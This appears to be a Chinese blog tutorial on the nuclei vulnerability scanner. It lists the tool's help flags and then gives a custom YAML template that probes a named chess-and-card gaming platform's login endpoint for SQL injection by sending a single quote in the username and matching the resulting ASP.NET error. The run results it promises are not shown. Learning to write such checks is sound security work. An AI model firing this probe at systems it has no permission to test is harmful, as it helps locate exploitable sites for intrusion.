工具使用
nuclei -h
这将显示nuclei的帮助，一下时所有支持的命令
标志：
目标：-u, -target string[] 要扫描的目标 URL/主机-l, -list 包含要扫描的目标 URL/主机列表的文件的字符串路径（每行一个）-resume 字符串使用 resume.cfg 恢复扫描（集群将被禁用）-sa, -scan-all-ips 扫描所有与 dns 记录关联的 IP-iv, -ip-version string[] 要扫描主机名的 IP 版本 (4,6) -（默认 4）模板：-nt, -new-templates 只运行在最新的 nuclei-templates 版本中添加的新模板-ntv, -new-templates-version string[] 运行在特定版本中添加的新模板-as, -automatic-scan 使用 wappalyzer 技术检测到标签映射的自动网络扫描-t, -templates string[] 要运行的模板列表或模板目录（逗号分隔，文件）-tu, -template-url string[] 要运行的模板 url 列表（逗号分隔，文件）-w, -workflows string[] 要运行的工作流或工作流目录列表（逗号分隔，文件）-wu, -workflow-url string[] 要运行的工作流 url 列表（逗号分隔，文件）-validate 验证传递给核的模板 -nss, -no-strict-syntax 禁用对模板的严格语法检查-td, -template-display 显示模板内容-tl 列出所有可用的模板常用命令:
#nuclei.exe -t 模板文件.yaml -l url.txtnuclei.exe -t bc_sql.yaml -l bc_sql.txt使用麒麟棋牌sql注入演示
下面是编写的POC模板
id: bc_sqlinfo:name: mdauthor: Administratorseverity: infodescription: descriptionreference:- https://tags: tagshttp:- raw:- |-POST /Login/ValidateLogin HTTP/1.1Host: {{Hostname}}Content-Length: 31Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://Referer: http://127.0.0.1/Login/indexAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Cookie: RYQIPAI=RYCacheKey=&RYCacheKey_ETS=&VS=2b026701b834636b; ASP.NET_SessionId=5opx1wip0fp2av0wvqeomsn2; Hm_lvt_8ee3ec23e73c6dcda2c7c9c489c151aa=1719297236,1719317943,1719371697; Hm_lpvt_8ee3ec23e73c6dcda2c7c9c489c151aa=1719371720Connection: closeuserName=admin'&password=123456matchers-condition: andmatchers:- type: binarypart: bodybinary:- 3c21444f43545950452068746d6c3e0d0a3c68746d6c3e0d0a202020203c686561643e0d0a20202020202020203c7469746c653ee8bf90e8a18ce697b6e99499e8afaf3c2f7469746c653e0d0a20202020202020203c6d657461206e616d653d2276696577706f72742220636f6e74656e743d2277696474683d6465766963652d776964746822202f3e0d0a20202020202020203c7374796c653e0d0a202020202020202020626f6479207b666f6e742d66616d696c793a2256657264616e61223b666f6e742d7765696768743a6e6f726d616c3b666f6e742d73697a653a202e37656d3b636f6c6f723a626c61636b3b7d200d0a20202020202020202070207b666f6e742d66616d696c793a2256657264616e61223b666f6e742d7765696768743a6e6f726d616c3b636f6c6f723a626c61636b3b6d617267696e2d746f703a202d3570787d0d0a20202020202020202062207b666f6e742d66616d696c793a2256657264616e61223b666f6e742d7765696768743a626f6c643b636f6c6f723a626c61636b3b6d617267696e2d746f703a202d3570787d0d0a2020202020202020204831207b20666f6e742d66616d696c793a2256657264616e61223b666f6e742d7765696768743a6e6f726d616c3b666f6e742d73697a653a313870743b636f6c6f723a726564207d0d0a2020202020202020204832207b20666f6e742d66616d696c793a2256657264616e61223b666f6e742d7765696768743a6e6f726d616c3b666f6e742d73697a653a313470743b636f6c6f723a6d61726f6f6e207d0d0a202020202020202020707265207b666f6e742d66616d696c793a22436f6e736f6c6173222c224c756369646120436f6e736f6c65222c4d6f6e6f73706163653b666f6e742d73697a653a313170743b6d617267696e3a303b70616464696e673a302e35656d3b6c696e652d6865696768743a313470747d0d0a2020202020202020202e6d61726b6572207b666f6e742d7765696768743a20626f6c643b20636f6c6f723a20626c61636b3b746578742d6465636f726174696f6e3a206e6f6e653b7d0d0a2020202020202020202e76657273696f6e207b636f6c6f723a20677261793b7d0d0a2020202020202020202e6572726f72207b6d617267696e2d626f74746f6d3a20313070783b7d0d0a2020202020202020202e657870616e6461626c65207b20746578742d6465636f726174696f6e3a756e6465726c696e653b20666f6e742d7765696768743a626f6c643b20636f6c6f723a6e6176793b20637572736f723a706f696e7465723b207d0d0a202020202020202020406d656469612073637265656e20616e6420286d61782d77696474683a20363339707829207b0d0a20202020202020202020707265207b2077696474683a2034343070783b206f766572666c6f773a206175746f3b2077686974652d73706163653a207072652d777261703b20776f72642d777261703a20627265616b2d776f72643b207d0d0a2020202020202020207d0d0a202020202020202020406d656469612073637265656e20616e6420286d61782d77696474683a20343739707829207b0d0a20202020202020202020707265207b2077696474683a2032383070783b207d0d0a2020202020202020207d0d0a20202020202020203c2f7374796c653e0d0a202020203c2f686561643e0d0a0d0a202020203c626f6479206267636f6c6f723d227768697465223e0d0a0d0a2020202020202020202020203c7370616e3e3c48313ee2809c2fe2809de5ba94e794a8e7a88be5ba8fe4b8ade79a84e69c8de58aa1e599a8e99499e8afafe380823c68722077696474683d313030252073697a653d3120636f6c6f723d73696c7665723e3c2f48313e0d0a0d0a2020202020202020202020203c68323e203c693ee8bf90e8a18ce697b6e99499e8afaf3c2f693e203c2f68323e3c2f7370616e3e0d0a0d0a2020202020202020202020203c666f6e7420666163653d22417269616c2c2048656c7665746963612c2047656e6576612c2053756e53616e732d526567756c61722c2073616e732d736572696620223e0d0a0d0a2020202020202020202020203c623e20e8afb4e6988e3a203c2f623ee69c8de58aa1e599a8e4b88ae587bae78eb0e5ba94e794a8e7a88be5ba8fe99499e8afafe38082e6ada4e5ba94e794a8e7a88be5ba8fe79a84e5bd93e5898de887aae5ae9ae4b989e99499e8afafe8aebee7bdaee7a681e6ada2e8bf9ce7a88be69fa5e79c8be5ba94e794a8e7a88be5ba8fe99499e8afafe79a84e8afa6e7bb86e4bfa1e681af28e587bae4ba8ee5ae89e585a8e58e9fe59ba029e38082e4bd86e58fafe4bba5e9809ae8bf87e59ca8e69cace59cb0e69c8de58aa1e599a8e8aea1e7ae97e69cbae4b88ae8bf90e8a18ce79a84e6b58fe8a788e599a8e69fa5e79c8be380820d0a2020202020202020202020203c62723e3c62723e0d0a0d0a2020202020202020202020203c623ee8afa6e7bb86e4bfa1e681af3a3c2f623e20e88ba5e8a681e4bdbfe4bb96e4babae883bde5a49fe59ca8e8bf9ce7a88be8aea1e7ae97e69cbae4b88ae69fa5e79c8be6ada4e789b9e5ae9ae99499e8afafe6b688e681afe79a84e8afa6e7bb86e4bfa1e681afefbc8ce8afb7e59ca8e4bd8de4ba8ee5bd93e5898d2057656220e5ba94e794a8e7a88be5ba8fe6a0b9e79baee5bd95e4b88be79a84e2809c7765622e636f6e666967e2809de9858de7bdaee69687e4bbb6e4b8ade5889be5bbbae4b880e4b8aa20266c743b637573746f6d4572726f72732667743b20e6a087e8aeb0e38082e784b6e5908ee5ba94e5b086e6ada420266c743b637573746f6d4572726f72732667743b20e6a087e8aeb0e79a84e2809c6d6f6465e2809de789b9e680a7e8aebee7bdaee4b8bae2809c4f6666e2809de380823c62723e3c62723e0d0a0d0a2020202020202020202020203c7461626c652077696474683d31303025206267636f6c6f723d2223666666666363223e0d0a2020202020202020202020202020203c74723e0d0a2020202020202020202020202020202020203c74643e0d0a202020202020202020202020202020202020202020203c636f64653e3c7072653e0d0a0d0a266c743b212d2d205765622e436f6e66696720e9858de7bdaee69687e4bbb6202d2d2667743b0d0a0d0a266c743b636f6e66696775726174696f6e2667743b0d0a20202020266c743b73797374656d2e7765622667743b0d0a2020202020202020266c743b637573746f6d4572726f7273206d6f64653d2671756f743b4f66662671756f743b2f2667743b0d0a20202020266c743b2f73797374656d2e7765622667743b0d0a266c743b2f636f6e66696775726174696f6e2667743b3c2f7072653e202020202020202020202020202020202020202020203c2f636f64653e0d0a0d0a2020202020202020202020202020202020203c2f74643e0d0a2020202020202020202020202020203c2f74723e0d0a2020202020202020202020203c2f7461626c653e0d0a0d0a2020202020202020202020203c62723e0d0a0d0a2020202020202020202020203c623ee6b3a8e9878a3a3c2f623e20e9809ae8bf87e4bfaee694b9e5ba94e794a8e7a88be5ba8fe79a8420266c743b637573746f6d4572726f72732667743b20e9858de7bdaee6a087e8aeb0e79a84e2809c64656661756c745265646972656374e2809de789b9e680a7efbc8ce4bdbfe4b98be68c87e59091e887aae5ae9ae4b989e99499e8afafe9a1b5e79a842055524cefbc8ce58fafe4bba5e794a8e887aae5ae9ae4b989e99499e8afafe9a1b5e69bbfe68da2e68980e79c8be588b0e79a84e5bd93e5898de99499e8afafe9a1b5e380823c62723e3c62723e0d0a0d0a2020202020202020202020203c7461626c652077696474683d31303025206267636f6c6f723d2223666666666363223e0d0a20202020202020- type: statusstatus:- 500
运行结果
